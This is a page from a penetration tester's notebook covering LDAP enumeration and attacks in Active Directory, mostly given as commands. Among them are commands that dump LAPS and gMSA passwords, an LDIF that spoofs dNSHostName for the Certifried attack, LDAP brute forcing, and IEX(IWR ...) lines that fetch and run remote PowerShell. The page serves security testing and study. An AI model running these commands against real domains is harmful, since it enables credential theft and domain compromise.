Pentester's Promiscuous Notebook
TwitterGitHubBlog
  • README
  • ⚒️Pentest
    • C2
      • Covenant
      • Empire
      • Havoc
      • Meterpreter
      • PoshC2
      • Sliver
    • Infrastructure
      • AD
        • ACL Abuse
        • AD CS Abuse
          • dNSHostName Spoofing (Certifried)
          • ESC1
          • ESC4
          • ESC8
          • ESC15
          • Golden Certificate
          • Pass-the-Certificate
        • ADIDNS Abuse
        • Attack Trusts
        • Attack RODCs
        • AV / EDR Evasion
          • .NET Assembly
            • .NET Config Loader
            • .NET Dynamic API Invocation
            • .NET In-Memory Assembly
            • .NET Reflective Assembly
          • AMSI Bypass
          • Application Whitelist Bypass
          • AppLocker Bypass
          • BYOVD
          • CLM Bypass
          • Defender
          • ETW Block
          • Execution Policy Bypass
          • Mimikatz
          • UAC Bypass
        • Authentication Coercion
        • BadSuccessor
        • Credentials Harvesting
          • From Memory
            • lsass.exe
            • svchost.exe
          • Credential Phishing
          • DCSync
          • DPAPI
          • KeePass
          • Linux
          • LSA
          • NetSync
          • NPLogonNotify
          • NTDS
          • Password Filter
          • RDP
          • SAM
          • SSH Clients
          • SSPI
        • Discovery
        • DnsAdmins
        • Dominance
        • GPO Abuse
        • Kerberos
          • Delegation Abuse
            • Constrained
            • Resource-based Constrained
            • Unconstrained
          • Kerberos Relay
          • Roasting
        • Key Credentials Abuse
        • LAPS
        • Lateral Movement
          • DCOM
          • Overpass-the-Hash
          • Pass-the-Hash
          • Pass-the-Ticket
          • RDP
          • RPC
          • RunAs
          • SMB
          • SPN-jacking
          • WinRM / PSRemoting
          • WMI
        • LDAP
        • NTLM
          • NTLM Relay
          • NTLMv1 Downgrade
        • Password Spraying
        • Post Exploitation
        • Pre-created Computers Abuse
        • PrivExchange
        • Privileges Abuse
          • SeBackupPrivilege & SeRestorePrivilege
          • SeImpersonatePrivilege
            • Potatoes
            • PrintSpoofer
          • SeTrustedCredmanAccess
        • RID Cycling
        • SCCM Abuse
        • SMB
        • Token Manipulation
        • User Hunt
        • WSUS
        • Zerologon
      • Azure AD
        • On-Prem ↔ Cloud
          • Cloud → On-Prem
          • On-Prem → Cloud
        • PRT Abuse
      • DevOps
        • Ansible
        • Artifactory
        • Atlassian
        • Containerization / Orchestration
        • GitLab
        • HashiCorp Vault
        • Jenkins
        • VS Code
        • Zabbix
      • DBMS
        • FireBird
        • MS SQL
        • MySQL / MariaDB
        • Oracle
        • Redis
        • SQLite
      • Authentication Brute Force
      • File Transfer
      • IPMI
      • Kiosk Breakout
      • Low-Hanging Fruits
      • LPE
      • Networks
        • L2
          • ARP Spoofing
          • DHCPv6 Spoofing
          • LLMNR / NBNS Poisoning
          • SNACs Abuse
          • VLAN Hopping
        • NAC Bypass
        • Scanning
        • SIP / VoIP
        • Sniff Traffic
      • NFS
      • Persistence
      • Pivoting
      • Post Exploitation
      • SNMP
      • SSH
      • TFTP
      • VNC
    • OSINT
      • Shodan
    • Password Brute Force
      • Generate Wordlists
    • Perimeter
      • 1C
      • ADFS
      • Cisco
      • DNS
      • Exchange
      • Information Gathering
      • IPSec
      • Java RMI
      • Log4j / Log4Shell
      • Lync & Skype for Business
      • NTP
      • Outlook
      • OWA
      • SharePoint
      • SMTP
      • SSH
      • Subdomain Takeover
    • Shells
      • Reverse Shells
      • Web Shells
    • Web
      • 2FA Bypass
      • LFI / RFI
      • SOP / CORS
      • SQLi
      • WAF
      • WordPress
      • XSS
    • Wi-Fi
      • WPA / WPA2
        • Enterprise
        • Personal
  • ⚔️Red Team
    • Basics
    • Cobalt Strike
      • UDRL
    • Infrastructure
    • MalDev
      • API Hashing
      • API Hooking
      • BOF / COFF
      • CFG
      • Code Injection
        • DLL Injectors
        • Process Hollowing
        • Process Injectors
        • Shellcode Runners
      • DLL Hijacking
      • Golang
      • Kernel Mode
      • PIC / Shellcode
      • Nim
      • Sandbox Evasion
      • Syscalls
      • Windows API
    • SE
      • Phishing
        • HTML Smuggling
        • MS Office
        • Rogue RDP
  • 🐞Exploit Dev
    • BOF
      • OSCP BOF
      • OSED SEH Overflow
    • RE
    • WinDbg
  • ⚙️Admin
    • Git
    • Linux
      • Kali
    • Networking
      • DHCP Server & Linux Hotspot
      • Quick Configurations
      • Routing
      • WireGuard
    • Virtualization
      • Docker
      • Hyper-V
      • VirtualBox
      • VMWare
    • Windows
Powered by GitBook
On this page
  • Theory
  • UserAccountControl
  • Decode UAC Values
  • Object-Guids
  • Mitigations
  • LDAP Signing & LDAPS Channel Binding
  • Tools
  • RSAT-AD-PowerShell
  • ldap3 (Python)
  • ldap-utils
  • windapsearch
  • go-windapsearch
  • ldapsearch-ad
  • gMSADumper
  • ldeep
  • Nmap NSE
  • LDAPmonitor
  • SilentHound
  1. Pentest
  2. Infrastructure
  3. AD

LDAP

Lightweight Directory Access Protocol

Last updated 23 hours ago

Check if LDAPS was ever correctly configured:

$ openssl s_client -host 192.168.1.11 -port 636

Theory

Rule Name
OID
Description

1.2.840.113556.1.4.803

True if all bits from the attribute match the value (bitwise AND).

1.2.840.113556.1.4.804

True if any bits from the attribute match the value (bitwise OR).

1.2.840.113556.1.4.1941

Used to provide a method to look up the ancestry of an object and is is limited to filters that apply to the DN.

UserAccountControl

Decode UAC Values

DecodeUserAccountControl.ps1
# Usage: DecodeUserAccountControl <UAC_VALUE>
Function DecodeUserAccountControl ([int]$UAC)
{
	$UACPropertyFlags = @(
		"SCRIPT",
		"ACCOUNTDISABLE",
		"RESERVED",
		"HOMEDIR_REQUIRED",
		"LOCKOUT",
		"PASSWD_NOTREQD",
		"PASSWD_CANT_CHANGE",
		"ENCRYPTED_TEXT_PWD_ALLOWED",
		"TEMP_DUPLICATE_ACCOUNT",
		"NORMAL_ACCOUNT",
		"RESERVED",
		"INTERDOMAIN_TRUST_ACCOUNT",
		"WORKSTATION_TRUST_ACCOUNT",
		"SERVER_TRUST_ACCOUNT",
		"RESERVED",
		"RESERVED",
		"DONT_EXPIRE_PASSWORD",
		"MNS_LOGON_ACCOUNT",
		"SMARTCARD_REQUIRED",
		"TRUSTED_FOR_DELEGATION",
		"NOT_DELEGATED",
		"USE_DES_KEY_ONLY",
		"DONT_REQ_PREAUTH",
		"PASSWORD_EXPIRED",
		"TRUSTED_TO_AUTH_FOR_DELEGATION",
		"RESERVED",
		"PARTIAL_SECRETS_ACCOUNT"
		"RESERVED"
		"RESERVED"
		"RESERVED"
		"RESERVED"
		"RESERVED"
	)
	$Attributes = ""
	1..($UACPropertyFlags.Length) | Where-Object {$UAC -bAnd [math]::Pow(2,$_)} | ForEach-Object {If ($Attributes.Length -Eq 0) {$Attributes = $UACPropertyFlags[$_]} Else {$Attributes = $Attributes + " | " + $UACPropertyFlags[$_]}}
	Return $Attributes
}

Object-Guids

import uuid
import struct

def uuid_to_ms_guid_bytes(uuid_string):
    u = uuid.UUID(uuid_string)

    # MS GUIDs use mixed endianness:
    #  first 3 components are little-endian
    #  last 2 components are big-endian
    return struct.pack('<IHH', u.time_low, u.time_mid, u.time_hi_version) + \
		struct.pack('>Q', u.node | (u.clock_seq << 48))[-8:]

Mitigations

Scan for LDAP Singing and LDAPS Channel Binding:

$ python3 LdapRelayScan.py -method BOTH -dc-ip 192.168.1.11 -u snovvcrash -p 'Passw0rd!'
$ cme ldap 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M ldap-checker
$ for dc in `cat discover/hosts/dc_ip.txt`; do cme ldap $dc -u snovvcrash -p 'Passw0rd!' -M ldap-checker | grep -ae NOT -e PWN --color=never; done

LDAP Signing & LDAPS Channel Binding

Property Name
Property Path

HKLM\System\CurrentControlSet\Services\NTDS\Parameters\

HKLM\System\CurrentControlSet\Services\NTDS\Parameters\

If LdapServerIntegrity is set to 2, LDAP Signing is required:

PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapServerIntegrity

If LdapEnforceChannelBinding is set to 2, LDAPS Channel Binding is always required:

PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapEnforceChannelBinding

Tools

RSAT-AD-PowerShell

Install via Capabilities (Windows clients):

PS > Get-WindowsCapability -Name RSAT* -Online | select Name,State
PS > Get-WindowsCapability -Name RSAT* -Online | ? {$_.Name -match "Rsat.ActiveDirectory.DS-LDS.Tools"} | Add-WindowsCapability -Online

Or via Features (Windows servers):

PS > Get-WindowsFeature | ? {$_.Name -match "RSAT"}
PS > Add-WindowsFeature RSAT-AD-PowerShell

Install via ADModule:

PS > IEX(IWR "https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1" -UseBasicParsing)
PS > Import-ActiveDirectory
Or
PS > IEX(IWR "https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/ADModuleImport.ps1" -UseBasicParsing)

Example Queries

PS > Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))' -Properties samAccountName | select samAccountName

Count users, groups and computers:

PS > (Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user))' | measure).count
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=computer)(objectClass=computer))' | measure).count
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=group)(objectClass=group))' | measure).count
PS > Get-ADUser -Filter {DoesNotRequirePreAuth -eq "True"} -Properties DoesNotRequirePreAuth | select DoesNotRequirePreAuth,samAccountName | fl
PS > Get-ADUser -Filter {memberOf -eq "CN=Protected Users,CN=Users,DC=MEGACORP,DC=LOCAL"} -Properties * | select samAccountName,servicePrincipalName,memberOf | fl
Or
PS > Get-ADGroupMember "Protected Users" | Get-ADUser -Properties * | ? {$_.servicePrincipalName -ne $null} | select samAccountName,servicePrincipalName,memberOf | fl

List all groups that j.doe is a member of:

PS > Get-ADPrincipalGroupMembership j.doe | select name

List all groups (including nested groups) that j.doe is a member of:

PS > Get-ADGroup -Filter {member -RecursiveMatch "CN=John Doe,OU=Helpdesk,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL"} | select name
Or
PS > Get-ADGroup -LDAPFilter '(member:1.2.840.113556.1.4.1941:=CN=John Doe,OU=Helpdesk,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL)' | select name

List members of IT Support group through nested group membership:

PS > Get-ADGroupMember "IT Support" -Recursive

List users marked as trusted for delegation (TRUSTED_FOR_DELEGATION UAC value is 524288):

PS > Get-ADUser -Filter {trustedForDelegation -eq "True"} -Properties * | select samAccountName,trustedForDelegation | fl
Or
PS > Get-ADObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' -Properties * | select objectClass,distinguishedName | fl

Find the number of users in the Helpdesk OU:

PS > Get-ADOrganizationalUnit -Filter {Name -like "*Helpdesk*"} | select distinguishedName
PS > (Get-ADUser -SearchBase "OU=Helpdesk,OU=Employees,DC=MEGACORP,DC=LOCAL" -SearchScope SubTree -Filter *).count

Find all user's whose name starts with John, which are not part of Fired and Contractors OU, and print all groups that they are members of (including nested groups):

PS > Get-ADUser -Filter {name -like "John*"} | ? {$_.DistinguishedName -notlike "*Fired*" -and $_.DistinguishedName -notlike "*Contractors*"} | % {Write-Host $_.name":"; (Get-ADGroup -Filter {member -RecursiveMatch $_.distinguishedName}).name}
PS > Get-ADUser -LDAPFilter '(&(objectCategory=user)(description=*))' -Properties * | select samaccountname,description

Find users with a null password (PASSWD_NOTREQD UAC value is 32):

PS > Get-ADUser -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))' -Properties * | select name,memberof | fl

Create a new domain user account:

PS > New-ADUser -Name snovvcrash -SamAccountName snovvcrash -Path "CN=Users,DC=megacorp,DC=local" -AccountPassword(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Enabled $true
PS > Get-ADObject -Filter {isDeleted -eq $true -and name -ne "Deleted Objects"} -IncludeDeletedObjects
PS > Get-ADObject -LDAPFilter "(objectClass=User)" -SearchBase '<DISTINGUISHED_NAME>' -IncludeDeletedObjects -Properties * | ft -autosize -wrap

ldap3 (Python)

Check if anonymous bind is allowed:

>>> from ldap3 import Server, Connection, ALL
>>> s = Server('192.168.1.11', get_info=ALL)
>>> c = Connection(s, user='', password='')
>>> c.bind()
>>> print(s.info)

ldap-utils

ldapsearch

Install:

$ sudo apt install ldap-utils libsasl2-modules-gssapi-mit -y

Basic syntax:

$ ldapsearch -h 192.168.1.11 -x -s <SCOPE> -b <BASE_DN> <QUERY> [<ATTRIBUTE> <ATTRIBUTE> ...]

Get base naming contexts:

$ ldapsearch -h 192.168.1.11 -x -s base namingcontexts

Extract data for the whole domain catalog and then grep your way through:

$ ldapsearch -h 192.168.1.11 -x -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
$ cat ldapsearch.out | grep -i memberof

Or filter out only what you need:

$ ldapsearch -h 192.168.1.11 -x -b "DC=megacorp,DC=local" '(&(objectCategory=person)(objectClass=user))' sAMAccountName sAMAccountType

Get Remote Management Users group:

$ ldapsearch -h 192.168.1.11 -x -b "DC=megacorp,DC=local" '(memberOf=CN=Remote Management Users,OU=Groups,OU=UK,DC=megacorp,DC=local)' | grep -i memberof

Dump LAPS passwords:

$ ldapsearch -h 192.168.1.11 -x -b "dc=megacorp,dc=local" '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd

Simple authentication with a plaintext password:

$ ldapsearch -H ldap://192.168.1.11:389 -x -D 'CN=snovvcrash,CN=Users,DC=megacorp,DC=local' -w 'Passw0rd!' -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out

SASL GSSAPI (Kerberos) authentication (there should be both A and PTR DNS records of the DC for this to work):

$ sudo apt install libsasl2-modules-gssapi-mit
$ getTGT.py megacorp.local/snovvcrash:'Passw0rd!'
$ export KRB5CCNAME=`pwd`/snovvcrash.ccache
$ ldapsearch -H ldap://DC01.megacorp.local:389 -Y GSSAPI -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out

Analyze large output for anomalies by searching for unique strings:

$ cat ldapsearch.out | awk '{print $1}' | sort | uniq -c | sort -nr

ldapmodify

$ ldapmodify -H ldap://DC01.megacorp.local -Y GSSAPI -f spoof.ldiff
$ ldapsearch -H ldap://DC01.megacorp.local -Y GSSAPI -b "DC=megacorp,DC=local" '(&(objectCategory=computer)(sAMAccountName=fakemachine$))' servicePrincipalName dNSHostName
spoof.ldiff
dn: CN=FAKEMACHINE,CN=Computer,DC=megacorp,DC=local
changetype: modify
delete: servicePrincipalName
-
replace: dNSHostName
dNSHostName: dc01.megacorp.local

windapsearch

Enumerate domain function functional level with LDAP anonymous bind:

$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u '' --functionality

Enumerate users in Protected Users group which are also trusted for unconstrained delegation:

$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -m 'Protected Users' --attrs trustedForDelegation

Find what OU is the user John Doe part of:

$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -U --full | grep distinguishedName | grep j.doe

Query LDAP for all domain computer accounts (+ try to resolve their IPs with -r flag) and save results into a csv file:

$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -C -r | tee ~/ws/enum/all-computers.csv

go-windapsearch

Find user accounts which require smart card authentication (SMARTCARD_REQUIRED UAC value is 262144):

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(&(objectClass=person)(userAccountControl:1.2.840.113556.1.4.803:=262144))' --attrs dn

Get password history size in the domain:

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(objectClass=domainDNS)' --attrs pwdHistoryLength

Search for service accounts configured for constrained delegation:

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m computers --attrs msDS-ManagedPassword

Dump all users info:

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m users --full | tee ~/ws/enum/ldap-users.txt

ldapsearch-ad

Enumerate password policy in the domain:

$ python3 ldapsearch-ad.py -l 192.168.1.11 -d megacorp.local -u j.doe -p 'Passw0rd!' -t pass-pols

Run all checks:

$ python3 ldapsearch-ad.py -l 192.168.1.11 -d megacorp.local -u j.doe -p 'Passw0rd!' -t all

gMSADumper

$ python3 gMSADumper.py -d megacorp.local -l DC1.megacorp.local -u snovvcrash -p 'Passw0rd!'
$ python3 gMSADumper.py -d megacorp.local -l DC1.megacorp.local -u snovvcrash -p fc525c9683e8fe067095ba2ddc971889:fc525c9683e8fe067095ba2ddc971889

ldeep

Enumerate ACEs of the AdminSDHolder object:

$ ldeep ldap -s 'ldap://192.168.1.11' -d megacorp.local -u snovvcrash -p 'Passw0rd!' -b 'CN=System,DC=megacorp,DC=local' sddl AdminSDHolder | jq '.[].nTSecurityDescriptor.DACL.ACEs[] | select(.Type | contains("Allowed")) | .SID + " :: " + .Type'

Convert SID to name:

$ ldeep ldap -s 'ldap://192.168.1.11' -d megacorp.local -u snovvcrash -p 'Passw0rd!' from_sid <SID>

Nmap NSE

$ nmap -n -Pn -sV --script ldap-rootdse 192.168.1.11 -p389
$ nmap -n -Pn -sV --script ldap-search 192.168.1.11 -p389
$ nmap -n -Pn -sV --script ldap-brute 192.168.1.11 -p389

LDAPmonitor

$ ./pyLDAPmonitor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip 192.168.1.11

ADSpider

SilentHound

$ python3 silenthound.py -u snovvcrash@megacorp.local -p 'Passw0rd!' 192.168.1.11 megacorp.local -o megacorp

Some Matching Rules:

Convert MS LDAP to bytes:

List disabled users (when searching for users objectCategory + objectClass filters):

List users with DoesNotRequirePreAuth set (aka ):

List accounts with SPN(s) set (aka ) and which are also in Protected Users group:

Find users with description field filled ():

List deleted AD objects (AD ):

An example of removing SPNs and changing dNSHostName (see ):

⚒️
Extensible Match
https://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/
http://woshub.com/decoding-ad-useraccountcontrol-value/
objectGUID
https://github.com/zyn3rgy/LdapRelayScan
https://offsec.almond.consulting/bypassing-ldap-channel-binding-with-starttls.html
https://github.com/samratashok/ADModule/blob/master/Import-ActiveDirectory.ps1
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/ADModuleImport.ps1
use
asreproastable
kerberoastable
one-liner
recycle
bin
https://malicious.link/post/2022/ldapsearch-reference/
dNSHostName Spoofing (Certifried)
https://github.com/ropnop/windapsearch
https://github.com/snovvcrash/windapsearch
https://github.com/ropnop/go-windapsearch
https://github.com/yaap7/ldapsearch-ad
https://github.com/micahvandeusen/gMSADumper
https://github.com/franc-pentest/ldeep
https://github.com/p0dalirius/LDAPmonitor
https://habr.com/ru/companies/angarasecurity/articles/697938/
https://github.com/DrunkF0x/ADSpider
https://github.com/snovvcrash/SilentHound
LDAP_MATCHING_RULE_BIT_AND
LDAP_MATCHING_RULE_BIT_OR
LDAP_MATCHING_RULE_IN_CHAIN
LdapServerIntegrity
LdapEnforceChannelBinding
http://jxplorer.org/
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc772839(v=ws.10)?redirectedfrom=MSDN
http://www.kouti.com/tables/userattributes.htm
https://offsec.almond.consulting/ldap-authentication-in-active-directory-environments.html
https://www.mdsec.co.uk/2024/02/active-directory-enumeration-for-red-teams/
LDAP Authentication Protocols (Almond)